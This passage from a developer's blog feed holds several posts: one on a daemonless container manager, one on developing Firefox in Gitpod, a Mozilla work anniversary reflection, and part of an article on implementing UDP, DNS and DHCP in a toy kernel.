isnāt a given)! I tried to make container IOs work correctly as well, with
support for interactive mode and <a href="https://man7.org/linux/man-pages/man7/pty.7.html">pseudo-terminal</a>.</p>
<p>It was actually āsimplerā to implement a daemon-less manager than implementing a
daemon with an API and a client CLI to talk to it. I also find this approach
more elegant in general but thatās my personal opinion.</p>
<h3 id="examples">Examples</h3>
<p>The first example pipes <code class="language-plaintext highlighter-rouge">wttr.in</code> to a first container that reads from its
standard input (<code class="language-plaintext highlighter-rouge">stdin</code>) in order to call <code class="language-plaintext highlighter-rouge">wget</code>, which will print its output to
<code class="language-plaintext highlighter-rouge">stdout</code> (workaround for not having <code class="language-plaintext highlighter-rouge">curl</code> in the container). This first
container should be automatically removed when it exits because the <code class="language-plaintext highlighter-rouge">--rm</code>
option has been specified.</p>
<p>The output of the first container is piped into a second container (running an
āalpineā image from a different registry), which will only take the first 7
lines of the input it receives.</p>
<p>We then get the final output of these commands into our terminal š</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'wttr.in'</span> <span class="se">\</span>
<span class="go"> | yaman c run --rm --interactive docker.io/library/alpine -- xargs wget -qO /dev/stdout \
| yaman c run --interactive quay.io/aptible/alpine -- head -n 7
Weather report: Freiburg im Breisgau, Germany
_`/"".-. Thundery outbreaks possible
,\_( ). 17 Ā°C
/(___(__) ā 4 km/h
ā”āāā”āā 9 km
ā ā ā ā 0.0 mm
// We list all the containers and observe that the first container has been
// removed automatically. The second one is still listed.
</span><span class="gp">$</span><span class="w"> </span>yaman c <span class="nb">ls</span> <span class="nt">-a</span>
<span class="go">CONTAINER ID IMAGE COMMAND CREATED STATUS NAME
10bddbfd480c46ffbbc8a5005134e1d7 quay.io/aptible/alpine:latest head -n 7 35 seconds ago Exited (0) 35 seconds ago bold_zhukovsky
// Even if the second container has exited, we can still fetch its logs. We ask
// Yaman to print the logs with the timestamps.
</span><span class="gp">$</span><span class="w"> </span>yaman c logs <span class="nt">--timestamps</span> 10bddbfd480c46ffbbc8a5005134e1d7
<span class="go">2022-06-21T07:04:06Z - Weather report: Freiburg im Breisgau, Germany
2022-06-21T07:04:06Z -
2022-06-21T07:04:06Z - _`/"".-. Thundery outbreaks possible
2022-06-21T07:04:06Z - ,\_( ). 17 Ā°C
2022-06-21T07:04:06Z - /(___(__) ā 4 km/h
2022-06-21T07:04:06Z - ā”āāā”āā 9 km
2022-06-21T07:04:06Z - ā ā ā ā 0.0 mm
</span></code></pre></div></div>
<p>The second example below shows that we can re-attach to a container started in
detached mode (with terminal). This new container was created by <a href="https://github.com/opencontainers/runc/">runc</a> and we
specified a custom <code class="language-plaintext highlighter-rouge">hostname</code>:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span><span class="w"> </span>yaman c run <span class="nt">--rm</span> <span class="nt">--runtime</span> runc <span class="nt">--hostname</span> ubuntu-demo <span class="nt">-it</span> <span class="nt">-d</span> docker.io/library/ubuntu
<span class="go">47988b8c7bde4f3d8e84568faea3e3f4
</span><span class="gp">$</span><span class="w"> </span>yaman c attach 47988b8c7bde4f3d8e84568faea3e3f4
<span class="gp">root@ubuntu-demo:/#</span><span class="w"> </span><span class="nb">tty</span>
<span class="go">/dev/pts/0
</span><span class="gp">root@ubuntu-demo:/#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
</span><span class="gp">root@ubuntu-demo:/#</span><span class="w"> </span><span class="nb">cat</span> /etc/lsb-release
<span class="go">DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04 LTS"
</span></code></pre></div></div>
<h3 id="internals">Internals</h3>
<p>Under the hood, this container manager, named <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">Yaman</a>, relies on
<a href="https://github.com/containers/fuse-overlayfs">fuse-overlayfs</a> in rootless mode, native OverlayFS in rootfull mode (<em>e.g.</em>
when Yaman is executed with <code class="language-plaintext highlighter-rouge">sudo</code>) and <a href="https://github.com/rootless-containers/slirp4netns">slirp4netns</a> for the network layer.</p>
<p>That has been a lot of work<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> and I took many shortcuts and introduced a few
<a href="https://github.com/willdurand/containers/pull/81">hacks</a> to have a functional tool in the end. For example, images and layers
management isnāt great to say the least. Yaman is full of limitations and
probably bugs as well. Some of the known limitations have been documented. The
other ones are yet to be found š</p>
<p>Thanks to the power of abstractions and specifications, it is possible to use
any OCI-compliant runtime with Yaman. That should make the whole thing a bit
more reliable and secure<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> š¬</p>
<h2 id="conclusion">Conclusion</h2>
<p>I learned so much recently! If you want to know more about this work, you can
find <a href="https://github.com/willdurand/containers/blob/main/cmd/yacr/README.md">Yacr</a>, <a href="https://github.com/willdurand/containers/blob/main/cmd/yacs/README.md">Yacs</a> and <a href="https://github.com/willdurand/containers/blob/main/cmd/yaman/README.md">Yaman</a> on <a href="https://github.com/willdurand/containers">GitHub</a>. Feel free to try them
out on <a href="gitpod.io/">Gitpod</a> or locally using <a href="https://www.vagrantup.com/">Vagrant</a>.</p>
<p>I have been using Docker for many years without necessarily questioning why
things were what they were or how this whole thing was actually working under
the hood.</p>
<p>Now when I have a more specific question about <a href="https://docs.docker.com/">Docker</a> (or <a href="https://containerd.io/">containerd</a> or
<a href="https://docs.podman.io/en/latest/">Podman</a>), I can follow the source code and usually think āoh, <em>that</em> makes
senseā or āha, yeah, clever!ā. This happened a few times lately and that put a
smile on my face every time.</p>
<p>And itās enough to consider this deep dive a good investment of my free time! ā¤ļø</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:1" role="doc-endnote">
<p>For instance, <code class="language-plaintext highlighter-rouge">cgroups</code>, capabilities and seccomp are not supported.Ā <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:2" role="doc-endnote">
<p>Both the <a href="https://github.com/opencontainers/distribution-spec">distribution spec</a> and <a href="https://github.com/opencontainers/image-spec">image spec</a> have been helpful while implementing Yaman.Ā <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>No.Ā <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Developing Firefox in Firefox with Gitpod2022-05-03T00:00:00+00:00https://williamdurand.fr/2022/05/03/developing-firefox-in-firefox-with-gitpod<p><a href="https://gitpod.io/">Gitpod</a> provides Linux-based development environments on demand along with a
web editor frontend (VS Code). There is apparently no limit on what you can do
in a <a href="https://www.gitpod.io/docs/workspaces">Gitpod workspace</a>, e.g., I ran my own toy kernel in QEMU in the browser.</p>
<p>I like Gitpod because itā¦</p>
<ul>
<li>avoids potential issues when setting up a new project, which is great for the
maintainers (e.g., it is easier to reproduce an issue when you have access to
the same environment) and the newcomers (e.g., no fatal error when trying to
contribute for the first time)</li>
<li>allows anyone to have access to a (somewhat) powerful machine because not
everyone can afford a MacBook Pro. I suppose one needs a pretty reliable
Internet connection, though</li>
</ul>
<h2 id="motivations">Motivations</h2>
<p>My main machine runs MacOS. I also have a Windows machine on my desk (useful to
debug <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1761550">annoying Windows-only intermittent failures</a>), which I
access with Microsoft Remote Desktop.</p>
<p class="with-caption"><img src="/images/posts/2022/05/remote-desktop.webp" alt="" />
<em>It looks like Gitpod, runs like Gitpod, and quacks like Gitpod but it isnāt Gitpod!</em></p>
<p>Except my ever growing collection of single-board computers, I donāt have a
Linux-based machine at home^W work, though. I havenāt used Virtual Machines on
Apple Silicon yet and Iād rather keep an eye on <a href="https://asahilinux.org/">Asahi Linux</a> instead.</p>
<p>This is why I wanted to give Gitpod a try and see if it could become my Linux
environment for working on Firefox. Clearly, this is a nice to have for me (I
donāt necessarily need to build Firefox on Linux) but that might be useful to
others.</p>
<p>Assuming a Gitpod-based setup would work for me, this could possibly become a
strong alternative for other contributors as well. Then, <em>mayyybe</em> I could start
a conversation about it internally in the (far) future.</p>
<p>Note that this isnāt a novel idea, Jan Keromnes was already working on a similar
tool called <a href="https://www.youtube.com/watch?v=5sNDMIh-iVw">āJanitorā for Mozilla needs in 2015</a>.</p>
<h2 id="firefox-development-with-gitpod--ļø">Firefox development with Gitpod = ā¤ļø</h2>
<p>I recently put together <a href="https://github.com/willdurand/gitpod-firefox-dev">a proof of concept</a> and played
with it since then. This GitHub repository contains the Gitpod configuration
to checkout the Firefox sources as well as the tools required to build Firefox.</p>
<p>It takes about 7 minutes to be able to run <code class="language-plaintext highlighter-rouge">./mach run</code> in a fresh workspace
(artifact mode). It is not super fast, although I already improved the initial
load time by using a <a href="https://hub.docker.com/r/willdurand/gitpod-firefox-dev">custom Docker image</a>. It is
also worth mentioning that re-opening an existing workspace is much faster!</p>
<p class="with-caption"><img src="/images/posts/2022/05/gitpod-mach-run.webp" alt="" />
<em><code class="language-plaintext highlighter-rouge">./mach run</code> executed in a Gitpod workspace</em></p>
<p>Gitpod provides a Docker image with <a href="https://www.gitpod.io/blog/native-ui-with-vnc">X11 and VNC</a>, which I used as the base
for my custom Docker image. This is useful to interact with Firefox as well as
observing some of the tests running.</p>
<p class="with-caption"><img src="/images/posts/2022/05/gitpod-mach-test.webp" alt="" />
<em>A āmochitestā running in a Gitpod workspace</em></p>
<p>I donāt know if <em>this</em> is the right approach, though. My understanding is that
Gitpod works best when its configuration lives next to the sources. For Firefox,
that would mean having the configuration in the official Mozilla <a href="https://www.mercurial-scm.org/">Mercurial</a>
repositories but then we would need <em>hgpod.io</em> š </p>
<p>On the other hand, we develop Firefox using a <a href="https://jg.gg/2018/09/29/stacked-diffs-versus-pull-requests/">stacked diff</a> workflow.
Therefore, we probably donāt need most of the VCS features and <a href="https://www.gitpod.io/blog/gitpod-jetbrains">Gitpod does not
want to be seen as an online IDE</a> anyway. I personally rely
on <code class="language-plaintext highlighter-rouge">git</code> with the excellent <a href="https://github.com/glandium/git-cinnabar"><code class="language-plaintext highlighter-rouge">git-cinnabar</code> helper</a>, and <a href="https://moz-conduit.readthedocs.io/en/latest/phabricator-user.html#setting-up-mozphab">moz-phab</a>
to submit patches to Phabricator. Except for the latter, which can easily be
installed with <code class="language-plaintext highlighter-rouge">./mach install-moz-phab</code>, these tools are already available in
Gitpod workspaces created with <a href="https://github.com/willdurand/gitpod-firefox-dev">my repository</a>.</p>
<p>In terms of limitations, cloning <a href="https://mozilla-version-control-tools.readthedocs.io/en/latest/hgmozilla/unifiedrepo.html">mozilla-unified</a> is the most time-consuming
task at the moment. Gitpod has a feature called <a href="https://www.gitpod.io/docs/prebuilds">Prebuilds</a> that could help
but I am not sure how that would work when the actual project repository isnāt
the one that contains the Gitpod configuration.</p>
<p>In case youāre wondering, I also started a full build (no artifact) and it took
about 40 minutes to finish š I was hoping to have better performances out of
the box even if it isnāt <em>that</em> bad. For comparison, it takes [~15min on my
MacBook Pro with M1 Max]<sup id="fnref:tweet-m1-max" role="doc-noteref"><a href="#fn:tweet-m1-max" class="footnote" rel="footnote">1</a></sup> (and 2 hours on my previous Apple
machine).</p>
<p>There are other things that Iād like to poke around. For instance, I would love
to have <a href="https://github.com/rr-debugger/rr"><code class="language-plaintext highlighter-rouge">rr</code></a> support in Gitpod. I gave it a quick try and it does not seem
possible so far, maybe because of <a href="https://github.com/rr-debugger/rr/wiki/Docker">how Docker is configured</a>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gitpod /workspace/gitpod-firefox-dev/mozilla-unified (bookmarks/central) $ rr record -n /usr/bin/ls
[FATAL /tmp/rr/src/PerfCounters.cc:224:start_counter() errno: EPERM] Failed to initialize counter
</code></pre></div></div>
<p>After a few messages exchanged on Twitter, [Jan Keromnes][jan] (yeah, same as
above) from Gitpod filed a <a href="https://github.com/gitpod-io/gitpod/issues/9687">feature request to support <code class="language-plaintext highlighter-rouge">rr</code></a> š¤</p>
<h2 id="next-steps">Next steps</h2>
<p>As I mentioned previously, this is a proof of concept but it is already
functional. Iāll personally continue to evaluate this Linux-based development
environment. If it gets <code class="language-plaintext highlighter-rouge">rr</code> support, this might become my debugging
environment of choice!</p>
<p>Now, if you are interested, you can go ahead and <a href="https://gitpod.io/#https://github.com/willdurand/gitpod-firefox-dev">create a new
workspace</a> automatically. Otherwise please reach out to me and
letās discuss!</p>
<p>One more thing: Mozilla employees (and many other Open Source contributors)
qualify for the <a href="https://www.gitpod.io/blog/gitpod-for-opensource">Gitpod for Open Source</a> program.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:tweet-m1-max" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1463582168450539541">tweet from me</a>:</p>
<blockquote class="footnote-tweet">
<p>This new MBP 14ā with M1 Max chip seems promising: keyboard feels nice, no
distracting touch bar, and it compiles Firefox in less than 15 minutes!
(vs ~2 hours with my previous machine)</p>
</blockquote>
<p><a href="#fnref:tweet-m1-max" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
Moziversary #42022-05-01T00:00:00+00:00https://williamdurand.fr/2022/05/01/moziversary-4<p><em>Today is my fourth Moziversary š I have been working at Mozilla as a full-time
employee for 4 years. I blogged two times before: in <a href="/2020/05/01/moziversary-2/">2020</a> and <a href="/2021/05/01/moziversary-3/">2021</a>. What
happened in 2019? I. Donāt. Know.</em></p>
<p>I was hired as a Senior Web Developer on <a href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO). I am now
a <a href="/2021/02/26/i-got-a-promotion/">Staff Software Engineer</a> in the Firefox WebExtensions team. I
officially <a href="/2022/01/25/new-team-mozilla/">joined this team</a> in January. Since then, I became a
<a href="https://www.mozilla.org/en-US/about/governance/policies/module-ownership/">peer</a> of the <a href="https://wiki.mozilla.org/Modules/All#Add-ons_Manager">Add-ons Manager</a> and <a href="https://wiki.mozilla.org/Modules/All#Webextensions">WebExtensions</a> modules.</p>
<h2 id="farewell-amo">Farewell AMO!</h2>
<p>As mentioned above, I moved to another team after many years in the AMO team.
If I had to summarize my time in this team, I would probably say: āI did my
partā.</p>
<p>Earlier this year, I transferred ownership of more than 10 projects that I
either created or took over to my former (AMO) colleagues š¬ I was maintaining
these projects in addition to the bulk of my work, which has been extremely
diverse. As far as I can remember, Iā¦</p>
<ul>
<li>worked on countless user-facing features on AMO, quickly becoming the <a href="https://github.com/mozilla/addons-frontend/graphs/contributors">top
committer on addons-frontend</a> (for what itās worth)</li>
<li>contributed many improvements to the AMO backend (Django/Python). For
example, I drastically improved the reliability of the Git extraction system
that we use for signed add-ons</li>
<li>developed a set of anti-malware scanning and code search tools that have
been āa game changer to secure the add-ons ecosystem for Firefoxā</li>
<li>introduced <a href="https://aws.amazon.com/lambda/">AWS Lambda</a> to our infrastructure for some (micro) services</li>
<li>created prototypes, e.g., I wrote a CLI tool leveraging <a href="https://spidermonkey.dev/">SpiderMonkey</a>
to dynamically analyze browser extension behaviors</li>
<li><a href="https://blog.mozilla.org/addons/2021/01/21/promoted-add-ons-pilot-wrap-up/">almost</a> integrated Stripe with AMO š</li>
<li>shipped entire features spanning many components end-to-end like the <a href="https://blog.mozilla.org/addons/2020/06/10/improvements-to-statistics-processing-on-amo/">AMO
Statistics</a> (AMO frontend + backend, BigQuery/ETL with Airflow, and some
patches in Firefox)</li>
<li>created <a href="/2022/03/29/some-non-production-tools-i-wrote/">various dev/QA tools</a></li>
</ul>
<p>Last but not least, I started and developed a collaboration with Mozillaās Data
Science team on a Machine Learning (security-oriented) project. This has been
one of my best contributions to Mozilla to date.</p>
<h2 id="what-did-i-do-over-the-last-12-months">What did I do over the last 12 months?</h2>
<p>I built the ānewā <a href="https://addons.mozilla.org/blog/">AMO blog</a>. I played with <a href="https://www.11ty.dev/">Eleventy</a> for the first time
and wrote some PHP to tweak the WordPress backend for our needs. I also
āhijackedā our addons-frontend project a bit to <a href="https://github.com/mozilla/addons-frontend/tree/5518fc1091241849f1f90634fe5d8f5d3cce2688#addons-frontend-blog-utils">reuse some logic and
components</a> for the āenhanced add-on cardsā used on the blog
(screenshot below).</p>
<p class="with-caption"><img src="/images/posts/2022/05/amo-blog.webp" alt="" />
<em>The AMO blog with an add-on card for the āOneTabā extension. The āAdd to
Firefoxā button is dynamic like the install buttons on the main AMO website.</em></p>
<p>Next, I co-specified and implemented a Firefox feature to detect search
hijacking at scale. After that, I started to work on some of the new <a href="https://blog.mozilla.org/addons/2021/05/27/manifest-v3-update/">Manifest
V3 APIs in Firefox</a> and eventually joined the WebExtensions team full-time.</p>
<p>I alsoā¦</p>
<ul>
<li>wrote a <a href="https://blog.mozilla.org/addons/2021/12/07/new-javascript-syntax-support-in-add-on-developer-tools/">blog post about the add-ons linter</a> on the Community
Blog</li>
<li>interviewed candidates (if you want to discuss, <a href="https://www.mozilla.org/en-US/careers/">weāre hiring</a> š)</li>
<li>took the time to meet new colleagues in a few <a href="https://www.donut.com/">donut chats</a></li>
<li>accidentally prevented huge unnecessary storage costs š </li>
</ul>
<p>This period has been complicated, though. The manager who hired me and helped
me grow as an engineer left last year š Some other folks I used to work with
are no longer at Mozilla either. That got me thinking about my career and my
recent choices. I firmly believe that moving to the WebExtensions team was the
right call. Yet, most of the key people who could have helped me grow further
are gone. Building trustful relationships takes time and so does having
opportunities to demonstrate capabilities.</p>
<p>Sure, I still have plenty of things to learn in my current role but I hardly
see what the next milestone will be in my career at the moment. That being
said, I love what I am doing at Mozilla and my team is fabulous ā¤ļø</p>
<p>Thank you to everyone in the Add-ons team as well as to all the folks I had the
pleasure to work with so far!</p>
On writing a network stack (2/2)2022-04-11T00:00:00+00:00https://williamdurand.fr/2022/04/11/on-writing-a-network-stack-part-2<p><em>I am writing a minimum viable network stack from scratch for <a href="https://github.com/willdurand/ArvernOS/">ArvernOS</a> (a
UNIX-like toy kernel). This two-part story describes some protocols of the
<a href="https://en.m.wikipedia.org/wiki/Internet_protocol_suite">TCP/IP</a> stack as well as some implementation details in the context of
ArvernOS.</em></p>
<p>In <a href="/2022/02/17/on-writing-a-network-stack-part-1/">Part 1 of this two-part story</a>, I presented some of the network
protocols that I implemented when I started writing a network stack from
scratch. In this second part, I continue to climb the different layers of this
stack. After having introduced UDP, Iāll describe two āhighā level network
protocols: DHCP and DNS.</p>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/02/arvernos-network-stack-202201.webp?v=20220411" alt="ArvernOS network stack in (early) 2022" />
<em>Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5
layers (the TCP/IP model sits on top of a physical layer)</em></p>
<p>Figure 1 depicts the 5 different layers/protocols already implemented in
ArvernOS: I chose to have a first distinct physical layer, and then we have the
4 layers of the <a href="https://en.m.wikipedia.org/wiki/Internet_protocol_suite">TCP/IP</a> model. This makes the first 4 layers of this model
similar to the <a href="https://en.wikipedia.org/wiki/OSI_model">OSI model</a> as well.</p>
<p>Again, each implementation is far from
perfect but it is functional to some extents.</p>
<ul>
<li><a href="#user-datagram-protocol-udp">User Datagram Protocol (UDP)</a></li>
<li><a href="#domain-name-system-dns">Domain Name System (DNS)</a></li>
<li><a href="#dynamic-host-configuration-protocol-dhcp">Dynamic Host Configuration Protocol (DHCP)</a></li>
</ul>
<h2 id="user-datagram-protocol-udp">User Datagram Protocol (UDP)</h2>
<p>UDP is a communication protocol listed in the <em>Transport</em> layer of the TCP/IP
model. This protocol is ānot connectedā, which means there is no end-to-end
connection. It is considered unreliable because packets could be lost and the
emitter wouldnāt have any (built-in) way to know that. On the other hand, this
makes UDP simpler to implement (compared to <a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol">TCP</a> for instance).</p>
<h3 id="-udp-in-arvernos">š” UDP in ArvernOS</h3>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/04/arvernos-layer4.webp" alt="" />
<em>Figure 2: The UDP implementation (Layer 4 in my model) is invoked by the lower
layers on data received and relies on the other lower layers to send data</em></p>
<p>Like the other protocols introduced in the <a href="/2022/02/17/on-writing-a-network-stack-part-1/">first article</a>, the UDP
implementation provides a pair of functions to send and receive data as depicted
in Figure 2.</p>
<p>When receiving new packets, the <a href="https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L13-L53"><code class="language-plaintext highlighter-rouge">udp_receive_packet()</code></a>
function is called by the IPv4 code when the <a href="https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml">protocol number</a> in an IPv4
packet is <code class="language-plaintext highlighter-rouge">17</code>. The second function, <a href="https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L55-L119"><code class="language-plaintext highlighter-rouge">udp_send_packet()</code></a>,
allows to transmit <a href="https://en.wikipedia.org/wiki/User_Datagram_Protocol#UDP_datagram_structure">UDP datagrams</a>. Most of the code in this function is about
computing a pseudo header checksum, which took me quite some time to get right.
Wireshark seems happy now, though.</p>
<p>As far as I can remember, this initial UDP implementation was designed to
[explore DNS]<sup id="fnref:tweet-dns" role="doc-noteref"><a href="#fn:tweet-dns" class="footnote" rel="footnote">1</a></sup> (another protocol that I describe later
in this article). Initially, it was only possible to receive UDP packets <a href="https://github.com/willdurand/ArvernOS/blob/063cb613eac62ae9b6e62a5e56724cf965306486/src/kernel/net/udp.c#L42-L53">based
on the <em>destination port</em></a>. Later, I added the concept of sockets
and the UDP logic was adjusted a bit to retrieve the right socket for each
packet received. That was an interesting problem so letās talk about it in the
next section.</p>
<h4 id="handling-incoming-packets">Handling incoming packets</h4>
<p>On many systems, sockets are used by a process to communicate with other
processes (which can be running on different machines). In reality, when a
<a href="https://www.redhat.com/en/blog/architecting-containers-part-1-why-understanding-user-space-vs-kernel-space-matters">user space</a> application uses a socket, it only talks to the kernel
network stack. The kernel is the one dealing with the hardware and the low level
bits.</p>
<p>When the kernel receives incoming data on a network interface, it needs to know
where to send the data next. In most cases, an application in the user space
needs the data and thatās where sockets are useful. āAllā the kernel has to do is
to retrieve the right socket given an incoming packet. It is easier said than
done, though.</p>
<p>In ArvernOS, socket descriptors own the relevant information (protocol, port,
etc.) to be able to retrieve a socket given an incoming packet. This is
currently done by <a href="https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/udp.c#L34-L40">calling <code class="language-plaintext highlighter-rouge">descriptor_udp_lookup()</code> in
<code class="language-plaintext highlighter-rouge">udp_receive_packet()</code></a>. In order to support ārawā sockets, <a href="https://github.com/willdurand/ArvernOS/pull/552">this
PR</a> adds a similar call to <code class="language-plaintext highlighter-rouge">descriptor_raw_lookup()</code> in
<code class="language-plaintext highlighter-rouge">ipv4_receive_packet()</code>.</p>
<p>In Linux, it is a bit different. In a Linux network driver, the incoming
data is encapsulated into a <a href="https://wiki.linuxfoundation.org/networking/sk_buff"><code class="language-plaintext highlighter-rouge">sk_buff</code> structure</a>, which is eventually
passed to the <code class="language-plaintext highlighter-rouge">netif_rx()</code> or <a href="https://www.privateinternetaccess.com/blog/linux-networking-stack-from-the-ground-up-part-4/"><code class="language-plaintext highlighter-rouge">netif_receive_skb()</code> function</a>. This
is where the incoming packet starts to actually āclimbā the network stack. For
UDP, the function [<code class="language-plaintext highlighter-rouge">__udp4_lib_lookup()</code>][__udp4_lib_lookup] describes how the
kernel retrieves a socket for a given UDP packet. The way Linux calls this
function and forwards the packet to the socket is a bit hard to follow but <a href="https://www.privateinternetaccess.com/blog/linux-networking-stack-from-the-ground-up-part-4-2/">this article
explains it well</a>.</p>
<h2 id="domain-name-system-dns">Domain Name System (DNS)</h2>
<p><a href="https://en.wikipedia.org/wiki/Domain_Name_System">DNS</a> is a protocol used to associate a domain name with an IP address. Some
people thought itād be easier to remember <code class="language-plaintext highlighter-rouge">github.com</code> than <code class="language-plaintext highlighter-rouge">140.82.121.4</code>. I
would recommend to read [Julia Evansā tweets about DNS]<sup id="fnref:tweet-b0rk-dns" role="doc-noteref"><a href="#fn:tweet-b0rk-dns" class="footnote" rel="footnote">2</a></sup> if you
want to learn more about this protocol from a āuser perspectiveā. She covered
<em>many</em> aspects of it!</p>
<p>DNS is part of the <em>Application</em> layer in the TCP/IP stack. It relies on a
transport protocol to issue DNS queries. UDP (on port 53) is widely used and
thatās what I implemented in ArvernOS. That being said, there are newer
transport protocols available for DNS like <a href="https://en.wikipedia.org/wiki/DNS_over_HTTPS">DNS over HTTPS</a> (DoH).</p>
<h3 id="-dns-in-arvernos">š” DNS in ArvernOS</h3>
<p>I followed these great <a href="https://courses.cs.duke.edu//fall16/compsci356/DNS/DNS-primer.pdf">DNS Primer notes</a> to implement DNS in
ArvernOS (see: <a href="https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/dns.c"><code class="language-plaintext highlighter-rouge">kernel/net/dns.c</code></a>). ArvernOS currently offers a single
function named <code class="language-plaintext highlighter-rouge">dns_lookup()</code> to perform a blocking DNS lookup for a given
domain name.</p>
<p>This function is also exposed to user space thanks to the
<a href="https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/sys/k_gethostbyname2.c#L19"><code class="language-plaintext highlighter-rouge">gethostbyname2</code></a> system call, and the <a href="https://github.com/willdurand/ArvernOS/blob/6927ef2c09f5ce1b436ba343858e898194d19675/src/kernel/kshell/host.c#L16"><code class="language-plaintext highlighter-rouge">host</code>
program</a> shows how that can be used:</p>
<p class="with-caption"><img src="/images/posts/2022/04/dns.webp" alt="" />
<em>Figure 3: ArvernOS (x86_64) running in QEMU. The <code class="language-plaintext highlighter-rouge">host</code> command has been
executed several times with different domain names</em></p>
<h2 id="dynamic-host-configuration-protocol-dhcp">Dynamic Host Configuration Protocol (DHCP)</h2>
<p><a href="https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol">DHCP</a> is another protocol of the <em>Application</em> layer in <a href="https://en.m.wikipedia.org/wiki/Internet_protocol_suite">TCP/IP</a>,
mainly used to automatically assign IP addresses to devices in a network. DHCP
relies on UDP, and it works with 4 sequential āoperationsā:</p>
<ol>
<li>
<p>Machine <em>A</em> advertises itself on the network. Something like this:</p>
<blockquote>
<p>Hello? Hellooo?</p>
</blockquote>
</li>
<li>
<p>If a DHCP server receives this request, it will make an offer:</p>
<blockquote>
<p>Hey, I am the DHCP server. How about you use 192.168.1.234 as IP address?
By the way, my IP is 192.168.1.1.</p>
</blockquote>
</li>
<li>
<p>Machine <em>A</em> accepts the offer by explicitly requesting the IP address:</p>
<blockquote>
<p>Okay, thanks DHCP server. Hello everyone, I am 192.168.1.234.</p>
</blockquote>
</li>
<li>
<p>Last, the DHCP server acknowledges the request.</p>
<blockquote>
<p>Got it!</p>
</blockquote>
</li>
</ol>
<p>From there, machine <em>A</em> has an IP address assigned. Wikipedia says DHCP is built
on top of <a href="https://en.wikipedia.org/wiki/Bootstrap_Protocol">BOOTP</a>, which stands for BOOTstrap Protocol. As such, it can be
used to negotiate more information than just its own IP address.</p>
<p>Most of the time, it will be used to get an IP address, the IP of the gateway
(ārouterā) and one or more DNS server IP addresses. The client should store the
different IPs and use <a href="/2022/02/17/on-writing-a-network-stack-part-1/#layer-25-address-resolution-protocol-arp">ARP</a> to get the corresponding MAC addresses.</p>
<p>At this point, the machine should be able to talk to the gateway and the local
DNS servers. This should be enough to reach the Internet!</p>
<h3 id="-dhcp-in-arvernos">š” DHCP in ArvernOS</h3>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2022/04/arvernos-dhcp.webp" alt="" />
<em>Figure 4: The DHCP implementation exposes two public functions like most of the
other protocols implemented in ArvernOS</em></p>
<p>The DHCP implementation in ArvernOS follows the sequence described in the
previous section (see: <a href="https://github.com/willdurand/ArvernOS/blob/597d77e09ca572dcebb473280bf2e18655ba7957/src/kernel/net/dhcp.c"><code class="language-plaintext highlighter-rouge">kernel/net/dhcp.c</code></a>). This sequence starts with
a call to the <code class="language-plaintext highlighter-rouge">dhcp_discover()</code> function during the kernel initialization (near
the end). The implementation is fragile. It uses busy waiting and does not
handle errors at all but that seems to be okay for QEMUās DHCP server:</p>
<p><img src="/images/posts/2022/04/dhcp.webp" alt="" /></p>
<p>In QEMU, ArvernOS automatically gets its network configuration from DHCP. That
includes its own IP address as well as the IP address of the gateway and a
single DNS server.</p>
<h2 id="conclusion">Conclusion</h2>
<p>In a similar manner, I added enough of the <a href="https://en.wikipedia.org/wiki/Network_Time_Protocol">Network Time Protocol</a> (NTP) to
query a time server (see: <a href="https://github.com/willdurand/ArvernOS/blob/4cb72648f0718c69a39fb664164490b138b770d2/src/kernel/net/ntp.c"><code class="language-plaintext highlighter-rouge">kernel/net/ntp.c</code></a>). <a href="https://en.wikipedia.org/wiki/Transmission_Control_Protocol">TCP</a> is the next big
chunk of work. I havenāt started yet and that seems a lot more involved. Weāll
seeā¦</p>
<p>Other than that, ArvernOS is a toy project, not a production-ready kernel and it
will never become one. If I had to build a new kernel or OS in the future, it
wouldnāt be this project. As such, working on such features from scratch helps
me gain deeper knowledge on various topics. That also allows me to appreciate
existing solutions and give me a different perspective on things.</p>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:tweet-dns" role="doc-endnote">
<p>This used to be a link to a <a href="https://twitter.com/couac/status/1334277598457815041">tweet from me</a>:</p>
<blockquote class="footnote-tweet">
<p>I received my very first DNS packet in reply to a query crafted with my
